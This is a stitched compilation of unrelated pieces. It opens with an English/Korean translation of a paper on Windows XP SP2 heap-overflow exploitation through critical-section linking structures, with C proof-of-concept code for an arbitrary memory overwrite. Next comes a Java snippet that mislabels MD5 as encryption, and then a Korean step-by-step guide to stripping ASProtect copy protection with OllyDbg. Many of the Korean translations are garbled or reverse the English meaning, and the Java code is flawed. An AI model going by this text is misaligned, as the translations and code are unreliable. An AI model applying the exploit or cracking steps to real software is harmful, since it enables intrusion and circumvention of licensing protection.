When an allocation occurs, the first block of a matching lookaside list may be returned: It is simply removed from the list by replacing the forward link pointer (FLink) in the lookaside entry by the FLink pointer of the newly allocated block.

할당될때, 첫 번째 매칭되는 블록 lookaside list는 반환될수있다.: 이것은 링크 포인터를 제자리로 돌리는 과정에 의해 리스트로부터 간단히 삭제된다.

This process is explained in Figure 1.

이과정은 예이다.

This new technique is good in theory, but seems pretty hard in practice.

이 신기술은 좋은 이론이다. 하지만 연습에선 어려워 보인다.

The following heap operations must occur, by forging good input values, if we want the N-byte

overwrite to happen:

힙 작동의 흐름은 위조된 입력값에 의해 분명히 일어나게 된다. 만약 n-바이트의 오버플로우를 원한다면:

1 –- Allocation of a block of size N (<0x3F8 bytes)

n 크기의 블록을 배치한다.

2

2 –- Freeing of this block: the block gets referenced in the lookaside table

블록은 lookaside table의 레퍼런스를 얻어온다.

3 –- The overflow occurs in a previous adjacent block: we can manipulate the FLink

pointer of the previously freed block

오버플로우가 앞쪽의 인접한 블록에서 발생한다. 전에 자유로웠던 블록 포인터를 조작할수있다.

4 –- A block of size N is allocated: our fake pointer is written in the lookaside table

n사이즈의 블록을 배치한다. 가짜 포인터는 lookaside table에 쓸수있다.

5 –- A second block of size N is allocated: our fake pointer is returned

n사이즈의 두 번째 블록은 허용된다. 가짜 포인터는 리턴당한다.

6 –- A copy operation from a controlled input to this buffer occurs: these bytes are

written to our chosen location

연산을 제어된 입력으로부터 버퍼 발생을 위해 복사한다. : 이 바이트들은 선택된 위치에 쓸수있다.

As you can see, these conditions can be hard to produce in practice, especially in

complex programs. The heap must also have an active and unlocked lookaside table

for the operation to succeed.

볼 수 있는 동안 , 특히 복잡한 문제에서 이 상태들은 실행 도중 어려움을 발생시킬수 있다. 힙 또한 연산결과를 얻기위해 lookaside table을 활성화 하고 열수있다.

A new way to bypass heap protections

힙 보호 우회를 위한 새로운 방법

The method I introduce here does not use the overwriting of heap-management

structures to produce a four-byte overwrite.

내가 소개하는 이 방법은 힙 관리의 덮어쓰기를 사용하지 않는다. 4바이트를 덮어쓰는 것을 만들어 내기위한 구조이다.

Lookaside entry Chunk B

Chunk A

A (FLink)

B (FLink)

(FLink)

Lookaside entry

Chunk B

B (FLink)

(FLink)

Fig. 1: Allocation of a block A from the lookaside table

Before allocation:

After allocation:

3

The process default heap, as well as others system-created heaps, is used by many

APIs to store information concerning the process and its environment.

많은 api들은 관련있는 정보와 프로세스 그리고 환경을 저장하기 위해 프로세스 기본 힙과 다른 system-created힙을 사용한다.

When a DLL is loaded, its main function is executed (DllMain, or similar) and often, data can get

stored on the process heap.

DLL이 적재될때, 가끔 매인 함수가 실행되고, 데이터는 프로세스 힙상에 저장할수있다.

What if these pieces of data are overwritten?

만약 이 자료의 조각이 덮어써진다면 어떻게 하겠냐?

Let’'s take a basic program, such as Windows notepad.

윈도우즈 노트페드와 같은 기본 프로그램을 실행할수있다.

We can notice that even this program needs a lot of dynamic libraries to run.

이 프로그램 조차 많은 동적 라이브러리가 실행되기 위해 필요하다는 것을 알아차릴수있다.

If we examine the default heap, before the main thread starts to execute, we’'ll notice that a fair amount of heap chunks have been allocated by these DLLs.

만약 메인 쓰레드가 실행되기전 기본 힙을 검사하면 ,DLL에 의해 힙 chunks 가 정당하게 할당된것을 알수있다.

Many of these chunks have a length of 40 bytes (including 8 bytes for the header) and have the structure described in Figure 2:

chunks중 많은 부분이 40바이트의 길이를 가지고있고 다음과같이 구조를 묘사할수있다.

A: Address of the next “"40-byte long structure”"

B: Address of the previous “"40-byte long structure”"

It happens that the structure pointed by X is in fact a critical section. When a critical

section is initialized, an associated “"40-byte long structure”" –- we will call it a linking

structure, is also created to keep track of the critical section.

이것은 구조포인터가 실질적으로 치명적인 부분에 의해 일어난다. critical section이 초기화 되었을때, 40바이트의 긴 구조는 조합된다. 우린 이것을 링킹구조라고 부르겠다. 또한 critical section 트렉의 유지를 위해 만들어진다.

A few of these structures are located in the data section of ntdll.dll; when all of them are used, the linking structures are created in the default heap.

이 구조중에 몇몇은 ntdll.dll의 데이터 섹션에 위치한다. 모든 것이 사용될때 링킹구조는 기본 힙 안에 만들어진다.

Figure 3 shows the relation between linking structures and critical sections.

그림 3은 링킹 구조와 중요한 부분사이의 관계를 보여준다.

This doubly-linked list reminds us the way free chunks are handled by heap management routines.

이 doubly-linked 리스트는 우리에게 힙 관리 루틴에 의해 free chunk가 다뤄지는것을 생각나게 한다.

During the destruction of a critical section, the associated linking structure will be removed from its list.

크리티컬 섹션이 파괴 되는 동안 연합된 연결 구조는 이 리스트로부터 제거될것이다.

If we replace A and B, we should then be able to overwrite a 4-byte portion of memory:

만약 A가 B로 대채되면, 메모리의 4바이트 영역에 덮어쓰는게 가능해진다.

From RtlDeleteCriticalSection (ntdll.dll version 5.1.2600.2180):

……

mov [eax], ecx ; eax=B

mov [ecx+4], eax ; ecx=A

……

0 X

0 0

? ?

Chunk header

Fig.2: A 40-byte long heap chunk, found in the process default heap

A B

4

The technique works because:

- No sanity checks are performed on these particular backward and forward

pointers.

어떤 온전한 check도 이 부분의 앞과 뒤에서 실행되어진다.

- The critical sections are destroyed during process termination; this ensures

the overwriting will occur.

이 critical section은 프로세스가 종료되는동안 파괴되어진다. 덮어쓰기가 발생할 책임.

- The linking structures can easily be found in the default heap; if we control the

size of the chunk in which we overflow, we can adjust it in such a way that a

linking structure lies a few bytes after.

이 연결 구조는 이 기본 힙에서 쉽게 찾을수 있다. 만약 우리가 덮어쓰는 chunk의 사이즈를 제어할수 있다. 우리는 연결구조가 소량의 바이트가 잘못된 그런 방법으로 이것들을 조정할수있다.

Of course, a major drawback is the limitation to this process heap.

물론, 이 프로세스 힙에게는 큰 결점은 제한적이다.

You will find a proof-of-concept code demonstrating the technique in Annex 1.

annex 1에서 그 기술을 보여준ㄴ proof-of-concept 코드를 찾을 것이다.

Conclusion

결론

The technique was used to successfully exploit an unpatched heap-overflow located

in a standard Windows utility of Windows XP SP2.

이 기술은 표준 윈도우의 윈도우즈 xp sp2유틸에서 unpatched된 입 오버플로우위치에 성공적으로 이용되었다.

However, several problems remain partially solved:

그러나 몇몇의 문제는 부분적인 해결로써 남아 있다.

Though we have the possibility to overwrite at least 4 bytes of memory, we have to choose good values for the backward and forward pointers.

메모리의 4바이트에 덮어쓰기를 위해 가능한것을 가진다. 그리고 최고의 값을 포인터 앞과 뒤쪽에 선택해야만한다.

The classic use of pointers to exception handlers is compromised, as well as global function pointers located in the PEB.

기본적인 포인터의 사용은 예외 해들러를 제외한다. 그리고 전역 함수로써 PEB에 위치한다.

Thus, exploiting heap overflows on the newest Windows systems is possible, but the

issues now are to increase their portability and their reliability.

그래서, 새 윈도우즈 시스템은 힙 오버플로우를 개선하는것이 가능하다. 그러나 지금 주목해야할것은 이것들의 신뢰성과 휴대성을 증가시키는것에 있다.

0 X

Fig.3: Critical sections and linking structures

A B

Critical Section

0 X A B

0 X A B

Critical Section

Critical Section

5

Annex 1: Proof-of-Concept code

//---------------------------------------------------------------------

// This code demonstrates how an overflow in critical section related

// structures stored in heap chunks can be used to produce an

// arbitrary memory overwrite

// (c) 2005 Nicolas Falliere

// nicolas.falliere@gmail.com

//---------------------------------------------------------------------

#include <windows.h>

#include <tlhelp32.h>

#include <stdio.h>

VOID GetChunkList(DWORD *pChunks, INT *nbChunks)

{

DWORD pid;

HANDLE snapshot;

HEAPLIST32 list;

HEAPENTRY32 entry;

BOOLEAN bNext;

INT cnt = 0;

pid = GetCurrentProcessId();

snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPHEAPLIST, pid);

if(snapshot == INVALID_HANDLE_VALUE)

{

printf("[Error] Cannot take a heap snapshot\n");

}

else

{

ZeroMemory(&list, sizeof(list));

list.dwSize = sizeof(HEAPLIST32);

bNext = Heap32ListFirst(snapshot, &list);

while(bNext)

{

ZeroMemory(&entry, sizeof(entry));

entry.dwSize = sizeof(HEAPENTRY32);

bNext = Heap32First(&entry, list.th32ProcessID,

list.th32HeapID);

while(bNext)

{

pChunks[cnt] = entry.dwAddress;

cnt++;

ZeroMemory(&entry, sizeof(entry));

entry.dwSize = sizeof(HEAPENTRY32);

bNext = Heap32Next(&entry);

}

ZeroMemory(&list, sizeof(list));

list.dwSize = sizeof(HEAPLIST32);

bNext = Heap32ListNext(snapshot, &list);

}

CloseHandle(snapshot);

6

*nbChunks = cnt;

}

}

int main(void)

{

HANDLE hHeap;

DWORD pChunks[500];

INT nbChunks;

INT i;

HMODULE hLib;

DWORD *p;

hHeap = GetProcessHeap();

printf("Default heap: %X\n", hHeap);

hLib = LoadLibrary("oleaut32.dll");

printf("LoadLibrary : oleaut32.dll\n");

GetChunkList(pChunks, &nbChunks);

for(i = 0; i < nbChunks; i++)

{

// Chunk size is 40 bytes

if(*(WORD *)(pChunks[i] - 8) == 5)

{

p = (DWORD *)(pChunks[i]);

// Check if FLink and BLink are there

if(p[2] && p[3])

{

printf("Structure found at address: %8X\n", p);

printf("Before modification : A=%8X B=%8X\n", p[2], p[3]);

memcpy(p + 2, "AAAABBBB", 8);

printf("After modification : A=%8X B=%8X\n", p[2], p[3]);

break;

}

}

}

printf("Press Enter to terminate the program and trigger the access

violation\n");

getchar();

return 0;

}

=================================================================================================

import java.security.*;

public class test_MD5Encrypt{

public static void main(String args[]){

  String str = "string";

  System.out.println(encryptString(str));

 }

 public static String encryptString(String str) {
  StringBuffer sb = new StringBuffer();
  int i;

  try{
   MessageDigest md5 = MessageDigest.getInstance("MD5");
   md5.update(str.getBytes());
   byte[] md5Bytes = md5.digest();

   for( i = 0 ; i < md5Bytes.length ; i++){
    sb.append(md5Bytes[i]);
   }

  } catch (Exception e) {
  }

  return sb.toString();
 }
}

시작하기전에
=============
들어바! 이 문서 3번째 쓰는거야 !!
첫번짼 쓰다가 충돌 되어 날아갔어. 두번째는 정전이 되버렸지 뭐야 !!

이제..
 
이 문서는 ASP 1.3x 를 어떻게 언팩 하는지 진짜 쉽고 빠르게 보여줄꺼야.
그리고 stolen bytes 를 찾을꺼야. 조낸 쉽게 그리고 빠르게.
 
SoftIce, IceDump, /Tracex 는 잠시 접어두자구 !

그럼 어떻게해?
 
올리를 사용하지뭐!
 

필요한 도구
============
1. OllyDbg 1.09b2 or newer 
2. ProcDump(G-rom)/Pe-edit(y0da) 
3. imprec 1.3 (MackT/UCF)(protools.cjb.net) 
4. HVIEW / Hex Editor 
 
언패킹 과정
============
1. OEP 찾고 Dump 하기
2. Stolen Bytes 찾기
3. IAT Rebuild
4. OEP 고치기 
5. 끝-
 
 
==================================== 
Step 1 - OEP 찾고 Dump 하기
==================================== 
 
1. 올리를 실행시키고 프로그램을 불러온다. (뭐라 묻거든 '예'를 눌러라)
2. 이제 F9를 누르면 여기서 멈출것이다 :
 
017E3414 3100 XOR DWORD PTR DS:[EAX],EAX <- 여기서 멈춤
017E3416 EB 01 JMP SHORT 017E3419 
017E3418 68 648F0500 PUSH 58F64 
 
올리는 왜 멈췄나? breakpoint를 준적 없는데 !?
냥- 올리는 새로운 모듈에 들어가면 항상 멈춘다 ... 우리는 이것을 이용할것이다 !!
 
3. Shift+F9 를 누르면 올리는 다음 모듈까지 실행을 계속한다.
4. Shift+F9 를 26번 누른후 아마도 여기에 위치할것이다 :

017E2D7A 3100 XOR DWORD PTR DS:[EAX],EAX <- 요기~
017E2D7C 64:8F05 00000000 POP DWORD PTR FS:[0] <- 여기에 브포 설정
017E2D83 58 POP EAX 
017E2D84 833D 806D7E01 00 CMP DWORD PTR DS:[17E6D80],0 
017E2D8B 74 14 JE SHORT 017E2DA1 
017E2D8D 6A 0C PUSH 0C 
017E2D8F B9 806D7E01 MOV ECX,17E6D80 
017E2D94 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 
017E2D97 BA 04000000 MOV EDX,4 
017E2D9C E8 EFE0FFFF CALL 017E0E90 
017E2DA1 FF75 FC PUSH DWORD PTR SS:[EBP-4] 
017E2DA4 FF75 F8 PUSH DWORD PTR SS:[EBP-8] 
017E2DA7 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] 
017E2DAA 8338 00 CMP DWORD PTR DS:[EAX],0 
017E2DAD 74 02 JE SHORT 017E2DB1 
017E2DAF FF30 PUSH DWORD PTR DS:[EAX] 
017E2DB1 FF75 F0 PUSH DWORD PTR SS:[EBP-10] 
017E2DB4 FF75 EC PUSH DWORD PTR SS:[EBP-14] 
017E2DB7 C3 RETN 
 
Shift+F9를 한번만 더 눌러도 프로그램은 실행되니 절대 누르지 마라!!
 
5. marker를 아래로 이동하라
017E2D7C 64:8F05 00000000 POP DWORD PTR FS:[0] 
 
그리고 F2 를 눌러라. (브포 설정)
이제 Shift+F9를 누르면 올리는 브포에서 멈출것이다.
 
6. 이제 F8로 trace하고 RETN 을 실행하면 여기에 위치할것이다 :
 
017F4EC8 E9 080A0000 JMP 017F58D5 <- we are here 
 
F8을 눌러 위의 jump 를 실행하라..
그러면 여기에 위치할것이다:
017F58D5 D3DE RCR ESI,CL <-- 요기
017F58D7 B9 7D966271 MOV ECX,7162967D 
017F58DC 81C1 38F10A23 ADD ECX,230AF138 
017F58E2 D3EE SHR ESI,CL 
017F58E4 BA 9ECC7376 MOV EDX,7673CC9E 
017F58E9 81EA C56EFFD4 SUB EDX,D4FF6EC5 
017F58EF 81F2 B7104902 XOR EDX,24910B7 
017F58F5 C1CA 94 ROR EDX,94 
017F58F8 8BF2 MOV ESI,EDX 
017F58FA 81EE 87D851D2 SUB ESI,D251D887 
017F5900 C1CE B0 ROR ESI,0B0 
017F5903 8BC6 MOV EAX,ESI 
017F5905 C1C8 28 ROR EAX,28 
017F5908 53 PUSH EBX 
017F5909 5E POP ESI 
017F590A 81C5 974FAF73 ADD EBP,73AF4F97 
017F5910 BA 048A9178 MOV EDX,78918A04 
017F5915 F7D2 NOT EDX 
017F5917 F7D2 NOT EDX 
017F5919 81C2 FC756E87 ADD EDX,876E75FC 
017F591F 8BDA MOV EBX,EDX 
017F5921 41 INC ECX------------------------- 
017F5922 8BD9 MOV EBX,ECX | 
017F5924 D1C3 ROL EBX,1 | a Realy Long 
017F5926 81F3 A38FD7AC XOR EBX,ACD78FA3 | Loop 
017F592C 3BD8 CMP EBX,EAX | 
017F592E ^0F85 EDFFFFFF JNZ 017F5921-------------------- 
017F5934 8BC1 MOV EAX,ECX <<-- 여기에 브포 설정
 
F8을 눌러서 전체 루프를 trace 하지 않을거다 !! 아래에 브포를 걸것이다:
017F5934 8BC1 MOV EAX,ECX 
 
이제 브포를 설정(F2)한 후 F9(실행)를 누르면 브포에서 멈출것이다.
 
7. 뭐 ?? F8 / F7(Trace Into)로 전부다 trace 하라고 ??!!
음.. 아니!!
올리에는 Command Line 이라는 므훗한 도구가 있다
Plugins->Command line->Command line 으로 가라

자- 이제 조건과 함께 trace 명령을 쓸거다.
그래 ! 올리는 Trace command 가 있다! TC - Trace Condition 라고 한다.
이것은 조건이 참일때까지 trace 한다.
 
그래서.. 텍스트 박스에 다음과 같이 써라 : TC EIP<900000
그리고 엔터.
윈도우의 오른쪽 밑에 다음과 같은게 보일것이다 : "Tracing"
 
조낸 느린 나의 컴(350MHz)으로 8분 정도 걸린다.
다른 컴퓨터(900MHz 셀러론)에서 하니 2분쯤 걸리더라.
 
나에게 컴퓨터를 사주고 싶거든 내가 어디있는지 찾고 메시지를 주시라. -_-;;
 
8. trace가 다되면 여기서 멈춘다.
0057EA5B E8 DB E8 
0057EA5C 00 DB 00 
0057EA5D 8A DB 8A 
0057EA5E E8 DB E8 
0057EA5F FF DB FF 
 
이바이바!! 나나 이거 볼주 몰라!! 이게 머야!?
냥- 이 코드는 아직 올리에 의해 분석되지 않았다.
이게 문제가 아니잖아~ 왜냐면 우리는 지금 OEP 에 있기 때문이야!
OEP=57EA5B 
 
9. 중요! OEP 에서 EAX의 값을 보아. (오른쪽 위 - CPU Window)
EAX=57E318 
이것을 적어둬라. 나중에 필요할 지니..
 
10. 이제 ProcDUmp/Pe-Edit 를 열고 프로세스 전체를 덤프 하라.
 
============================ 
Step 2 - Stolen Bytes 찾기 = 
============================ 
 
Stolen Bytes로 가기 위해 현제까지 3가지 방법이 있다.
 
1. ASPR은 stolen bytes를 실행할것이고 그리곤 아래와 같이 OEP로 간다.
Stolen_Bytes_1 
Stolen_Bytes_2 
Stolen_Bytes_3 
..... 
..... 
PUSH_THE_ADDRESS_OF_OEP 
RET_TO_OEP 
 
2. ASPR은 처음에 stolen bytes를 저장할것이고 그리곤 OEP로부터 byte를 제거할 것이며 아래와 같이 OEP로 Jmp 할것이다.
 
Stolen_Bytes_1 
Stolen_Bytes_2 
Stolen_Bytes_3 
PUSH EBX 
PUSH ESI 
PUSH EDI 
...... 
...... 
...... 
REPZ STOSB <- bytes 제거 
POPFD 
POPAD 
JMP_TO_OEP 
 
3. stolen byte가 없으면 단지 PopAD 하고 OEP로 점프한다.(Stolen byte 없음)
 
그래서 할려는게 뭔데 ??
OEP를 얻기 전에 ASPR의 마지막 스텝을 보기위해 Trace 로그를 볼 필요가 있다.
그래 ! 올리는 "Run Trace"라고 부르는 Trace 코드 로그를 얻었다.
그래서.. View->Run trace 메뉴를 선택하라
이제 새로운 윈도우가 보인다 .. 마지막 바로 전 라인으로 가면 아래와 같은게 보일것이다.

017F5779 F3:AA REP STOS BYTE PTR ES:[EDI] 
017F577B 9D POPFD 
017F577C 61 POPAD 
017F577D -E9 D992D8FE JMP SYSTEMCL.0057EA5B <-- OEP 주소
 
2번째 방법을 사용할것이다.
 
win98은 안되고 winXP에선 작동한다는걸 알아냈다.
그래서 CPU Window 에서 Ctrl+S 를 눌러라 (Sequence of commands를 찾음)
그리고 그곳에 이렇게 써있다.
 
PUSH EBX 
PUSH ESI 
PUSH EDI 
 
아래것들을 찾게 될것이다.
 
01029227 0055 8B ADD BYTE PTR SS:[EBP-75],DL 
0102922A EC  IN AL,DX ; I/O command 
0102922B 83EC 54 SUB ESP,54 
0102922E 53 PUSH EBX 
0102922F 56 PUSH ESI 
01029230 57 PUSH EDI 
01029231 6A 11 PUSH 11 
 
"00"을 무시하면 얻을것이다.
stolen byte : 55, 8b, ec, 83, ec, 54
이것 역시 써놔라.. 나중에 쓰일지니..
 
이제 올리를 끄고 나와라...
지금은 필요 없다.
 
====================== 
Step 3 - IAT Rebuild = 
====================== 
 
1. 프로그램을 실행시키고 로드될때까지 기다려라
2. Imprec를 열고 리스트에서 프로그램을 선택
3. "IAT AutoSearch"를 눌러
4. 사이즈를 "BC" 에서 1000으로 바꿔라 (BC는 넘 작아 >.<)
5. "Get Imports"를 눌러
6. "Show Invalid"를 눌러
7. 나타난 invalid 에서 우클릭 하고 "Trace level 1"를 선택
8. "Show Invalid" 를 다시 눌르면 아래와 같은걸 얻을것이다.
 
(cut from the saved tree) 
FThunk: 0019E258 NbFunc: 00000400 
1 0019E258 kernel32.dll 00D6 DeleteCriticalSection 
1 0019E25C kernel32.dll 0228 LeaveCriticalSection 
................ 
생략
................ 
1 0019E2A4 kernel32.dll 01D1 GetThreadLocale 
1 0019E2A8 kernel32.dll 01B9 GetStartupInfoA 
0 0019E2AC ? 0000 017E0F2C <-- good 
0 0019E2B0 ? 0000 017E139C <-- good 
1 0019E2B4 kernel32.dll 018B GetModuleFileNameA 
1 0019E2B8 kernel32.dll 0183 GetLocaleInfoA 
1 0019E2BC kernel32.dll 0181 GetLastError 
1 0019E2C0 kernel32.dll 0158 GetCurrentDirectoryA 
0 0019E2C4 ? 0000 017E1408 <-- good 
1 0019E2C8 kernel32.dll 0133 FreeLibrary 
1 0019E2CC kernel32.dll 011C FindFirstFileA 
.................. 
생략
.................. 
1 0019E314 kernel32.dll 00A0 CloseHandle 
0 0019E318 ? 0000 0255A00E <-- BAD 
1 0019E31C user32.dll 0112 GetKeyboardType 
1 0019E320 user32.dll 019F LoadStringA 
1 0019E324 user32.dll 01AD MessageBoxA 
1 0019E328 user32.dll 0026 CharNextA 
0 0019E32C ? 0000 70F7D832 <-- BAD 
1 0019E330 advapi32.dll 00F7 RegQueryValueExA 
1 0019E334 advapi32.dll 00EF RegOpenKeyExA 
1 0019E338 advapi32.dll 00D8 RegCloseKey 
0 0019E33C ? 0000 F37514C2 <-- BAD 
1 0019E340 oleaut32.dll 0006 SysFreeString 
1 0019E344 oleaut32.dll 0005 SysReAllocStringLen 
1 0019E348 oleaut32.dll 0004 SysAllocStringLen 
0 0019E34C ? 0000 4007F56E <-- BAD 
1 0019E350 kernel32.dll 0307 TlsSetValue 
1 0019E354 kernel32.dll 0306 TlsGetValue 
1 0019E358 kernel32.dll 01E6 GlobalAlloc 
0 0019E35C ? 0000 017E139C <-- good 
0 0019E360 ? 0000 BF57C0D8 <-- BAD 
....................... 
생략
....................... 
 
이와 같이 계속 진행된다.
BAD 주소(packer 코드 안에 있는거 말구)를 직접 선택할 필요가 있다. 그리고
우클릭해서 "Cut Thunk(s)" 선택
* 마지막을 잘 봐봐 .. 거기에 좋은 thunk 가 있어 ..
 
이제 그곳들을 good byte로 바꿀 필요가 있다. fraviamb.cjb에서 몇몇 플러그들을 다운받을 수 있다.
rebuild 하는 방법에 대한 나의 다른 튜토리얼을 보기 위해 New2Cracking.cjb.net 이나 Faviamb.cjb.net에 가보라.
아래는 내가 고친거다.
 
0019E2AC-> 017E0F2C ->GetProcAddress 
0019E2B0-> 017E139C ->GetModuleHandleA 
0019E2C4-> 017E1408 ->GetCommandLineA 
0019E35C-> 017E139C ->GetModuleHandleA 
0019E428-> 017E1420 ->LockResource 
0019E47C-> 017E13C4 ->GetVersion 
0019E4AC-> 017E0F2C ->GetProcAddress 
0019E4B8-> 017E139C ->GetModuleHandleA 
0019E4FC-> 017E13F8 ->GetCurrentProcessId 
0019E500-> 017E13F0 ->GetCurrentProcess 
0019E50C-> 017E1430 ->FreeResource 
 
9. 이제 "Fix Dump" 를 누르고 덤프된 파일을 선택..
imprec는 덤프 파일의 이름 앞에 "_"를 추가하고 파일을 저장한다.
 
 
===================== 
Step 4 - OEP 고치기 = 
===================== 
 
1. 이제 HVIEW /Hex Editor를 열고 OEP offset: 57ea5b로 가라
윗쪽 57ea55(6byte 앞)로 가서 "00" 대신에 stolen byte를 써넣는다.
새로운 파일로 저장.
 
2. open ProcDump/Pe-Edit를 열고 Pe-edit로 rebuild 파일을 로드하고
EP를 57ea55로 바꿔라. (stolen bytes 때문에)
 
3. 프로그램을 실행하려 한다면 충돌이 일어날것이다!!
 
4. 올리를 열고 fix된 파일을 로드하라.
 
5. OEP : 57ea55 에서 EAX 값은 뭔가? 내가 말했던거 기억하니?
덤핑하기 전에 OEP에서 EAX 값을 저장한것을.. EAX=57E318 이였지.
이 값이 우리 값과 다르다는건 잃어버린 하나의 명령이 더 있다는 의미다.
 
MOV EAX, 0157E318 
 
byte로는 5byte다(HVIEW에서 직접 시도할 수 있다)
B818E35700 MOV EAX, 0157E318 
이것은 6+5=11(decimal)의 stolen byte를 가지고 있다는걸 뜻한다.
이것은 진짜 OEP는 다음과 같다는걸 의미한다.
11=B(hex) 
OLD_OEP-STOLEN_BYTES=57EA5B-B=57EA50 
OEP = 57EA50 
이제 HVIEW/Hex Edit에서 새로운 OEP로 가서 그곳에 써라.
 
55,8B,EC,83,EC,54,B8,18,E3,57,00 
 
이제 ProcDump/Pe-Edit를 이용해서 EP를 57EA50으로 고쳐라
그러면 이제 프로그램은 실행될것이다.
끝!

(revised by forc1)